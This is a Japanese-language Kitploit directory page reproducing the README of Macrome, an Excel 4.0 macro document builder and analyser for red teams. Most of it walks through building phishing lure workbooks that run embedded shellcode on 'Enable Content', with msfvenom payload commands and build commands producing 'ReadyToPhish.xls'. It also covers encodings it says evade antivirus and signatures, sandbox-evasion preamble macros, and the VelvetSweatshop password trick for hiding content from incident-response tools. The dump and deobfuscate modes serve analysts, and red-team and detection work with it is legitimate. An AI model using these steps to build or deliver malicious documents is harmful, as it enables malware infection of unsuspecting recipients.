Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Macrome — レッドチームとアナリストのためのExcelマクロ文書リーダー/ライター | Kitploit
ツール/GitHubGitHub/michaelweber/macrome
ペイロード生成エクスプロイトフィッシングマルウェア分析ペネトレーションテストソーシャルエンジニアリングバイナリ解析レッドチーミング
GitHubmichaelweber/macrome

Macrome

レッドチームとアナリストのためのExcelマクロ文書リーダー/ライター

リポジトリを見る
52278964年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Macrome

レッドチームとアナリスト向けのExcelマクロドキュメントリーダー/ライター。このツールの実際の動作を説明するブログ記事はこちらとこちらにあります。

デフォルトテンプレートを使用して作成されたドキュメントの例。

インストール / ビルド

このリポジトリをクローンまたはダウンロードします。ツールはdotnetを使用して実行できます。例:

root@kitploit:~
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin 

または

root@kitploit:~
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls

設定通りに動作させるには、dotnetの5.0以上のビルドが必要です。 https://dotnet.microsoft.com/download/dotnet/5.0 から入手できます。

dotnetを必要とせず、実行可能バイナリを含むツールのバイナリリリースは、Windows、OSX、Linuxのリリースセクションにあります。

使用方法

Macromeを実行するには、ソリューションディレクトリから dotnet run を使用するか、ビルドされたMacromeバイナリに対して dotnet を使用します。Macromeには3つの動作モードがあります - ビルドモード、ダンプモード、難読化解除モード。

ビルドモード

build コマンドを使用してMacromeを実行すると、提供されたデコイドキュメントとマクロペイロードを使用して、難読化されたマクロシートを含むExcelドキュメントを生成します。dotnet Macrome.dll build -h で完全な使用手順が表示されます。

例えば、デコイドキュメント path/to/decoy_document.xls と path/to/shellcode.bin に保存されたバイナリx86シェルコードを使用してドキュメントをビルドするには、dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin を実行します。これにより、開いて「コンテンツの有効化」ボタンを押すと、shellcode.bin のシェルコードが実行されるXLS 2003ドキュメントが生成されます。

どう実行すべきか?

以降のドキュメントでは各フラグ/機能を詳細に説明しますが、現時点でMacromeが提供する「最新かつ最高」の機能は、以下を実行することで得られます:

root@kitploit:~
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls

バイナリペイロードの使用法

まず、ユーザーが目にするコンテンツを含む基本の「デコイ」Excelドキュメントを生成します。これは、Excelに表示される「マクロを有効にする」ボタンをクリックするようにユーザーを誘導するための何らかのルアーである必要があります。最新かつ最高のルアー作成の例は、https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets- にあります。このシートを作成したら、新しい Excel Workbook (*.xlsx) 形式ではなく、Excel 97-2003 Workbook (*.xls) 形式でドキュメントを保存します。サンプルのデコイドキュメントは /Docs/decoy_document.xls に含まれています。XOR難読化を使用してドキュメントを保護する場合、現在デコイに画像を追加できないことに注意してください。

次に、ツールに提供するシェルコードペイロードを生成します。サンプルのバイナリペイロード(電卓を起動)は、以下のパラメータで msfvenom を使用して生成されました:

root@kitploit:~
 msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin

64ビットのペイロードもサポートされています。サンプルの64ビットペイロード popcalc64.bin は以下のコマンドで生成されました:

root@kitploit:~
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin

このペイロードは以下のコマンドを実行して埋め込むことができます:

root@kitploit:~
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin

現在、64ビットペイロードを使用するにはx86ペイロードも提供する必要があります。問題がなければ、x86ペイロードフラグには適当な値を指定しても構いません。

.NETアセンブリをドキュメントに直接埋め込むサポートも将来予定されていますが、今すぐ行いたい場合は EXCELntDonut を使用することをお勧めします。

Macrome 0.5.0以降では、すべてのペイロードがbase64でエンコードされるため、ペイロードに任意のバイト列(NULLバイトを含む)を含めることができます。

実行可能ファイルの埋め込み

Macromeを使用して.NET実行可能ファイルを埋め込む場合は、Donut を donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe で使用し、結果のペイロードを32ビットと64ビットの両方のペイロードとして埋め込むことをお勧めします。

もう1つの優れた代替手段は Amber です。かなり大きなGoバイナリの埋め込みにも優れた効果を発揮します。

レガシーペイロードエンコーディング

何らかの理由でMacrome 0.5.0以前のレガシーペイロードエンコーディングモードを使用したい場合は、--payload-method フラグに SheetPackingMethod を指定します。レガシーモードでは、英数字主体のペイロードを使用すると、=CHAR(123)&CHAR(124)&CHAR(125)... のように CHAR 関数の呼び出しを繰り返し追加するよりもマクロ形式で文字や数字を表現しやすいため、生成されるマクロファイルのサイズが小さくなります。ただし、ツールは完全に印刷不可能なバイナリペイロードも処理できるはずです。

マクロペイロードの使用法

バイナリペイロードの使用法と同様に、まずデコイドキュメントを生成する必要があります。次に、実行するマクロを含むテキストファイルを作成します。マクロは列を ; 文字で区切り、行を改行で区切る必要があります。現在、指定されたマクロの内容はA1から書き込まれ実行されますが、将来のリリースでは開始位置を指定できるようになる予定です。サンプルのマクロは /Docs/macro_example.txt および /Docs/multi_column_macro_example.txt にあります。

最後に以下のコマンドを実行します:

root@kitploit:~
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro

payload-type フラグに Macro を指定していることに注意してください。

自分でマクロを生成するか、優れた EXCELntDonut ツールを使用してマクロを作成できます。

エンコーディング方法の選択

これらについては今後のブログ記事で詳しく説明しますが、Macromeは現在マクロペイロードを3つの異なる方法でエンコードできます。これらのほとんどはまだどのAVにも検出されていませんが、最適な方法を確認するためにペイロードで実験してみてください。

  1. CharSubroutine - ランダムなセルにサブルーチンを作成し、IF と SET.NAME 関数の長いチェーンを使用して呼び出すことで、繰り返しのCHAR()関数の使用を置き換えます。これはまだ悪質なマルドキュ作者によって悪用されていない手法であるため、現時点ではAVに引っかかる可能性は低いです。
  2. ObfuscatedCharFunc - オリジナルのMacromeエンコーディング関数。CHAR()を呼び出し、ランダムな空セルに追加し、値を ROUND 関数でラップします。
  3. ObfuscatedCharFuncAlt - オリジナルのエンコーディングの微かなバリエーションで、CHARを呼び出すためにPtgFuncではなくPtgFuncVarを使用します。これにより、CHARの呼び出し回数をカウントしようとするほとんどのシグネチャを回避できます。
  4. AntiAnalysisCharSubroutine - CharSubroutine と同じですが、サブルーチンに渡される変数がこちらで説明されているUnicodeのトリックを使用して難読化されます。デコイ変数名が追加されるため、CharSubroutine モードよりも大きなドキュメントが生成されることに注意してください。
  5. ArgumentSubroutines - CHAR()とFORMULA()のカスタムサブルーチンを作成し、カスタム関数として呼び出し、エミュレータではあまりサポートされていないARGUMENT()マクロを使用して引数を解析します。

エンコーディングを指定するには、ビルド時に method フラグを使用します。例えば、CharSubroutine エンコーダを使用する場合:

root@kitploit:~
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls

プリアンブルマクロ

ペイロードコードが実行される前に特定のマクロを実行したい場合があります。これはサンドボックス回避のためのマクロを追加したり、ペイロードが正しいホストで実行されていることを確認したりする際に役立ちます。

プリアンブルファイルの形式は、payload-type を Macro に設定した場合とまったく同じですが、単一の列のみをサポートします。例えば、以下のようなプリアンブルを指定できます:

root@kitploit:~
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))

これにより、画面解像度の値、マウスの存在、サウンド再生の可否がチェックされます。いずれかに失敗した場合、メインペイロードコンテンツを実行する前にアプリが閉じられます。

また、プリアンブルマクロをすぐに評価させたい場合(残りのマクロを展開する前)、コマンドの先頭に %%%%% を付けることができます。例:

root@kitploit:~
%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)
%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())

これは、ドキュメントを強制終了する前に実行するXLMコマンドの数を最小限に抑えるのに役立ち、サンドボックスインジケーターの存在に対するより迅速な反応に有効です。

XOR難読化パスワード保護

Macrome 0.3.0以降は、XOR難読化(はるかに古いバージョンのOffice由来のレガシー暗号化モード)を使用したドキュメントのパスワード保護をサポートしています。この暗号化モードはIRツールではサポートされていないことが多く、ドキュメントコンテンツを検査から保護するのに役立ちます。

Excelには VelvetSweatshop という「デフォルト」のパスワードがあり、ドキュメントを暗号化しても、開くときに自動的に復号されるようになります。これは攻撃的なコンテキストでXOR難読化を使用する「理想的な」方法です。Macromeはドキュメントを難読化解除またはダンプする際に、自動的にこのパスワードを使用しようとします。

この機能を使用するには、ビルドコマンドに --password <暗号化パスワード> を追加するだけです。

ダンプモード

dump コマンドを使用してMacromeを実行すると、任意のドキュメントから最も関連性の高いBIFF8レコードを表示します。この機能は olevba のマクロダンプ機能と似ていますが、エッジケースのPtgエントリをより完全に処理し、Excelの実際のFORMULAエントリに可能な限り近い形式を維持するのに役立ちます。このツールを作成中に生成された奇妙なエッジケースのドキュメントをデバッグするためにこれを使用しています。比較的堅牢です。ただし、現在サポートされていないエッジケースは多数あると思われるため、ドキュメントの内容を適切にダンプできないドキュメントを見つけた場合は、Issueを開いてドキュメントをzipファイルとして共有してください。

dumpコマンドでは、ターゲットファイルを指す path 引数のみが必要です。呼び出し例:

root@kitploit:~
dotnet Macrome.dll dump --path docToDump.xls

dump コマンドのほとんどのフラグはデバッグ用ですが、dump-hex-bytes は関連レコードの個々のバイトペイロードを確認したいユーザーにとって有用かもしれません。これは BiffView と同様の機能ですが、デフォルトではマルドキュ固有のエントリのみが表示されます。

難読化解除モード

deobfuscate コマンドを使用してMacromeを実行すると、難読化されたXLSバイナリドキュメントを受け取り、いくつかの解析妨害動作を元に戻そうとします。dotnet Macrome.dll deobfuscate -h で完全な使用手順が表示されます。現在、このモードはデフォルトで以下を実行します:

  • 非表示状態に関係なく、すべてのシートを再表示します。
  • Excelが名前が異なっていてもAuto_Openエントリとして解釈するすべての Lbl エントリの手動指定ラベルを正規化します。

例えば、悪意のあるXLS 2003マクロファイル path/to/obfuscated_file.xls を難読化解除するには、dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls を実行します。これにより、手動またはツールで解析しやすくなる難読化ファイルのコピーが生成されます。

注意: これはまだあまり多くの処理を行いません。主に、修正されたb2xtranslatorライブラリを使用して難読化解除を自動化する方法を示すためのものです。より便利な機能は近日中に追加予定です。

謝辞

このツールを書くにあたり、多くの方々の肩に乗せていただいたことに感謝します。

  • https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/ - Outflankチームがこの攻撃を生み出しました。私はその退屈な部分を自動化しているだけです。
  • InQuestの皆様、マルウェア作者が現在どのように検出を回避しているかについての優れた記事をありがとうございます。
    • https://inquest.net/blog/2019/01/29/Carving-Sneaky-XLM-Files
    • https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros
    • https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-
  • @DissectMalware 氏、素晴らしい XLMMacroDeobfuscator ツールを提供いただき、テスト対象として非常に優れており、防御/分析側にとって本当に素晴らしい技術です。
  • @JoeLeonJr 氏、優れた EXCELntDonut ツールを提供いただき、そのマルチアーキテクチャExcelマクロを「拝借」して、Macromeにx64アーキテクチャサポートを追加するために適応しました。
  • b2xtranslator ライブラリの原著者、およびそれをアップデートしてdotnetに移植したEvolutionJobsの方々。ここで使用されているコードは当初 https://github.com/EvolutionJobs/b2xtranslator から入手されました。
  • KC Green氏の漫画の画像(https://gunshowcomic.com/648)から引用。
ツールをダウンロード